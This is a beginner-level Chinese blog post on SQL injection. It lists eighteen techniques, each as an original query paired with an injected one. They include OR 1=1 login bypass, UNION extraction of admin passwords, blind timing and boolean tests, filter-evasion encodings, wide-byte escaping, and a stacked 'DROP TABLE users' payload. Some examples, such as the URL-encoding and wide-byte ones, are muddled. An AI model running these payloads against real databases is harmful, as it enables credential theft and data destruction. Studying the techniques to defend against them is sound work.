小白学sql注入

1. 大小写变换

通过改变 AND 关键字的大小写,可能绕过简单的字符串匹配过滤器。

原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username='admin' aND password='password';

2. 注释

使用注释符号 -- 将后面的内容注释掉,忽略密码验证。

原始语句:

复制代码

SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:

复制代码

SELECT * FROM users WHERE username='admin' -- ' AND password='password';

3. 空格替代

使用加号 + 替代空格,绕过过滤器。加号在某些环境中会被解释为空格。

原始语句:

复制代码

SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:

复制代码

SELECT * FROM users WHERE username='admin'+AND+password='password';

4. 字符串拼接

通过字符串拼接,将字符串拆分,绕过过滤器。

原始语句:

复制代码

SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:

复制代码

SELECT * FROM users WHERE username='admin' AND password='pass' || 'word';

5. 内联查询

利用子查询,将字符串值作为子查询的结果,绕过简单的字符串匹配。

原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username=(SELECT 'admin') AND password='password';

6. 逻辑运算符

使用永真条件 OR 1=1,无论前面的条件是否满足,整个条件总是为真。

原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username='admin' OR 1=1;

7. UNION注入

使用 UNION 合并两个查询结果,获取其他表的数据。

原始语句:
SELECT * FROM users WHERE id=1;
注入语句:
SELECT * FROM users WHERE id=1 UNION SELECT username, password FROM admin;

8. 时间延迟

利用时间延迟函数 SLEEP() 检测盲注,通过观察响应时间推测注入是否成功。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND IF(1=1, SLEEP(5), 0);

9. 布尔盲注

通过布尔条件判断返回结果是否符合预期,逐步猜测数据。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND LENGTH(password)=8;

10. 编码绕过

使用URL编码绕过简单的过滤器, %27 代表单引号 '

原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username=%27admin%27 AND password=%27password%27;

11. 组合使用

通过组合使用 UNION 和注释符号 /**/ 替代空格,绕过过滤器。

原始语句:
SELECT * FROM users WHERE id=1;
注入语句:
SELECT * FROM users WHERE id=1 UNION/**/SELECT/**/1,2--;

12. 注入点检测

通过输入不同的测试值,观察返回结果,检测注入点。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND 'a'='a';

13. 数据库特定功能

利用数据库的特定功能,获取数据库元数据。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND EXISTS(SELECT * FROM information_schema.tables);

14. 堆叠查询

通过堆叠查询执行多条SQL语句,进行破坏性操作。

原始语句:
SELECT * FROM users WHERE id=1;
注入语句:
SELECT * FROM users WHERE id=1; DROP TABLE users;--

15. 环境特性

利用 CHAR() 函数,将字符转换为ASCII码形式,绕过过滤器。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110);

16. 正则表达式

利用正则表达式匹配多个值,绕过简单的验证。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username REGEXP 'admin|root';

17. 条件错误注入

利用错误消息推测数据库结构或数据类型。

原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND 1=CONVERT(int, 'test');

18.宽字节绕过

宽字节绕过(Double Byte Character Set Injection, DBCS Injection)是一种特殊的SQL注入技术,利用数据库在处理多字节字符集(如UTF-16、Shift-JIS、Big5等)时的特性,绕过输入过滤或逃避字符转义。这种技术特别在处理亚洲字符集的应用程序中常见。

绕过过滤和转义
在一些应用程序中,单引号 ' 会被转义为 \'。但是,如果应用程序在处理宽字节字符时出错,可能会误将前一个字节与后续字符合并,从而绕过转义。例如:

username = 'admin\x81' OR '1'='1
SELECT * FROM users WHERE username = 'admin\'
SELECT * FROM users WHERE username = 'admin\x81' OR '1'='1';
SELECT * FROM users WHERE username = 'admin\'
SELECT * FROM users WHERE username = 'admin\x00' OR '1'='1';

  • 14
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值